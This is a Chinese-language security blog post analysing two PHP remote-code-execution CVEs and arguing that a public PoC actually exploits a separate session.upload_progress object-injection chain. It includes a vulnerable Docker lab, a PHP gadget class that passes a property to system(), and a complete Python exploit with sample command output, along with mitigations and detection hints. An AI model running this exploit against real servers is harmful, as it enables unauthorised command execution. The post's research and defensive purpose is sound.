PHP 两个 9.2 分 RCE:官方说的根因,和公开 PoC 演示的不是一条路

10 月 21 日 PHP 修掉 CVE-2026-109618 与 109619(CVSS 9.2),次日社区就放出了 PoC。这篇讲清 longjmp 与 stale global state 两条根因,附可复现的靶场与 PoC,以及这个 PoC 与官方描述对不上的地方。

10 月 21 日 14:00 UTC,PHP 发了 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12,修掉两个 CVSS v4.0 都是 9.2 的漏洞:CVE-2026-109618 与 CVE-2026-109619。第二天,GitHub 上出现了一个带完整靶场的 PoC 仓库(junaire/CVE-2026-109618-exploit)。

先说结论:这两个洞的根因是 PHP 请求生命周期里的内存管理缺陷,不是 session 配置问题;而那个 PoC 演示的是 session.upload_progress 的另一条路径。 两者都值得看,但别把它们当成一回事。

两个漏洞,两种坏法

编号 官方描述的核心 利用现状
CVE-2026-109618 OOM 时用 longjmp 中止请求,部分状态已可访问,请求关闭阶段读取未初始化/失效状态 Apache mod_php 已 HTTP 实证;FPM 源码分析显示可能受影响,但未给出完整利用
CVE-2026-109619 全局状态临时指向请求内存,未正确重置或被重新填充,请求内存释放后同 worker 的下一个请求读到悬空状态 mod_php 与 FPM 均已实证

两个洞影响 8.2 < 8.2.35、8.3 < 8.3.36、8.4 < 8.4.27、8.5 < 8.5.12。PHP 团队还为 7.4 / 8.0 / 8.1 提供了源码回移补丁——说明更老的版本同样在影响范围内,只是没有官方构建。

根因一:OOM 的 longjmp 把请求切成两半

PHP 处理一次请求时,会在请求内存池里分配大量结构。正常路径是“初始化 → 执行 → 清理”,清理阶段依赖前面建立的所有指针。

但内存耗尽(OOM)不是正常路径。为了从任意深度的调用栈里立刻退出,PHP 用 longjmp() 直接跳回请求入口——它不会展开栈,也不会执行中间层的析构与清理。于是请求关闭阶段拿到的是一个“初始化到一半”的状态:有些指针已经指向请求内存,有些还没赋值,有些指向刚被释放的区域。

关闭阶段会遍历、判断、甚至调用这些结构。当“没初始化的内存”可以被攻击者影响时,判断就变成了可控分支,指针就变成了可控地址——这就是 RCE 的入口。官方特别强调,这条路径可以在应用代码执行之前触发,也就是说:哪怕你的 PHP 代码写得再干净,也挡不住。

根因二:worker 复用留下的悬空全局状态

FPM 和 mod_php 都是“一个进程处理多个请求”。请求之间靠请求初始化(RINIT)把全局状态重置干净。

CVE-2026-109619 的问题是:某些全局状态指向请求内存,但 RINIT 没有正确清掉,或者在清掉之后又被重新填回。请求结束、内存释放后,下一个请求进来,在它完成初始化之前读到了上一个请求留下的指针——典型 use-after-free。攻击者要做的,是让“上一个请求”把这块内存塑造成自己想要的样子,再让“下一个请求”去用。

这类漏洞的可怕之处在于没有配置层的通用缓解。官方明确写了:升级是唯一可靠的修复。

公开 PoC:它其实演示了另一条链

那个仓库的 README 写得很清楚,链条是两次请求:

  1. SEED:向一个 session.serialize_handler=php_serialize 的目录发 multipart 请求,把 PHP_SESSION_UPLOAD_PROGRESS 的值写成 |<序列化 payload>。上传进度键会以原样存进 session blob;
  2. FIRE:带着同一个 PHPSESSID 访问一个用默认 php 处理器的目录。解码时按第一个 | 切开,把我们注入的序列化对象反序列化——对象注入;尾部数据让解码失败,清理阶段触发注入对象的 __destruct(),命令就在 session_start() 里执行了。

对照官方描述你会发现:这条链里既没有 OOM,也没有跨请求的悬空状态。它利用的是“两个目录用了不同的 session 序列化处理器”这一配置差异,属于对象注入,不是 109618/109619 的根因。

这不是说 PoC 没价值——它把 session.upload_progress 这个攻击面演示得很完整;但它要求 session.upload_progress.cleanup=Off(默认是 On)、两个可写目录使用不同 handler、并且目标里正好有一个可用的 __destruct gadget。默认安装的站点基本凑不齐这些条件。

而官方那两个洞是默认配置可打的。所以正确的态度是:PoC 可以拿来理解攻击面,但不要用它来判断“我打没打补丁”——它测的不是同一条路径。

靶场与 PoC

下面是我按公开链条重写的最小实现,只保留必要部分。完整文件(Dockerfile、nginx 配置、两个 .user.ini 与 PoC 本体)已打包成附件,可在本文底部下载。只在你自己搭的容器里跑。

先起一个 8.2.34 的靶场(修复前的版本):

FROM php:8.2.34-fpm
RUN apt-get update && apt-get install -y --no-install-recommends nginx \
    && rm -rf /var/lib/apt/lists/*
COPY webroot/ /var/www/html/
COPY nginx-site.conf /etc/nginx/sites-available/default
RUN printf 'session.upload_progress.enabled=1\nsession.upload_progress.cleanup=0\nsession.use_strict_mode=0\n' \
      > /usr/local/etc/php/conf.d/99-vuln.ini
CMD ["sh", "-c", "php-fpm -D && nginx -g 'daemon off;'"]

靶场页面只有两个:一个负责写入(app/,用 php_serialize),一个负责触发(api/,用默认 php,并定义 gadget):

<?php
// webroot/app/seed.php —— 只负责让上传进度键落盘
echo "seed ok\n";
<?php
// webroot/api/app.php —— 任意一个会 session_start() 的业务页
class Logger {
    public $cmd = "";
    function __destruct() { system($this->cmd); }
}
session_start();
echo "[api] session started\n";

两个目录的 .user.ini 分别是 session.serialize_handler=php_serialize 与 session.serialize_handler=php,这是整条链的前提。

然后是 PoC 本体(Python 3,标准库,约 70 行):

#!/usr/bin/env python3
# 仅限自有靶场 / 授权测试
import http.client, random, sys

BOUNDARY = "----poc"

def part(name, value, filename=None):
    cd = 'Content-Disposition: form-data; name="%s"' % name
    if filename:
        cd += '; filename="%s"' % filename
    return ("--%s\r\n%s\r\n\r\n" % (BOUNDARY, cd)).encode() + value + b"\r\n"

def payload(cls, prop, cmd):
    c, p, v = cls.encode(), prop.encode(), cmd.encode()
    return b'O:%d:"%s":1:{s:%d:"%s";s:%d:"' % (len(c), c, len(p), p, len(v)) + v + b'";}'

def seed(host, port, path, sid, data):
    body = (part("PHPSESSID", sid.encode())
            + part("PHP_SESSION_UPLOAD_PROGRESS", b"|" + data)
            + part("f", b"Z", "a.txt")
            + ("--%s--\r\n" % BOUNDARY).encode())
    c = http.client.HTTPConnection(host, port, timeout=10)
    c.request("POST", path, body=body,
              headers={"Content-Type": "multipart/form-data; boundary=" + BOUNDARY})
    r = c.getresponse(); out = r.read(); c.close()
    return r.status, out

def fire(host, port, path, sid):
    c = http.client.HTTPConnection(host, port, timeout=10)
    c.request("GET", path, headers={"Cookie": "PHPSESSID=" + sid})
    r = c.getresponse(); out = r.read(); c.close()
    return r.status, out

if __name__ == "__main__":
    host, port, cmd = sys.argv[1], int(sys.argv[2]), sys.argv[3]
    sid = "%032x" % random.getrandbits(128)
    data = payload("Logger", "cmd", cmd)
    print("[1] seed:", seed(host, port, "/app/seed.php", sid, data)[0])
    status, out = fire(host, port, "/api/app.php", sid)
    print("[2] fire:", status)
    print(out.decode("latin1", "replace"))

用法与预期输出:

docker build -t poc-618 .
docker run -d --name poc-618 -p 8080:80 poc-618
python3 poc.py 127.0.0.1 8080 "id"
# [1] seed: 200
# [2] fire: 200
# [gadget] uid=33(www-data) gid=33(www-data) ...

如果目标没有 Logger 这类 gadget,链就走不通;公开仓库提供了 --gadget / --prop 参数来匹配真实应用里的类。这也说明它依赖目标代码,不是“盲打”。

处置顺序

  1. 升级:8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 或更高。这是唯一覆盖官方两个根因的修复;
  2. 关掉不需要的 upload progress:session.upload_progress.enabled=Off 能断掉 PoC 那条链,但对 109618/109619 没有保证;
  3. 别混用序列化处理器:同一站点里出现 php 与 php_serialize 两种 handler,本身就是高风险配置;
  4. 盯日志:带 PHP_SESSION_UPLOAD_PROGRESS 且值里含 | 的 multipart 请求、session 解码失败告警、FPM worker 异常重启,都值得查。

免责声明

本文与其中的 PoC 仅用于自有环境的安全测试、研究与教学。请勿对任何未获授权的系统使用。运行前请确认你拥有目标系统的书面授权,并在隔离网络或容器中进行;因滥用造成的后果由使用者自行承担,与本站及作者无关。

一句判断

这次真正的危险不是那个 PoC——它要求一套很少见的配置;危险的是官方那两个默认配置下就能打的内存管理漏洞。补丁已经发了,先升级,再研究 PoC。

封面图:公开 PoC 仓库(GitHub)。

本文附件

查看全部下载 →

附件仅限自有或已获授权的环境使用;下载与使用风险自负。

本文附件

附件仅限自有或已获授权的环境使用;下载与使用风险自负。

共 7 个文件

← 返回文章列表

评论

…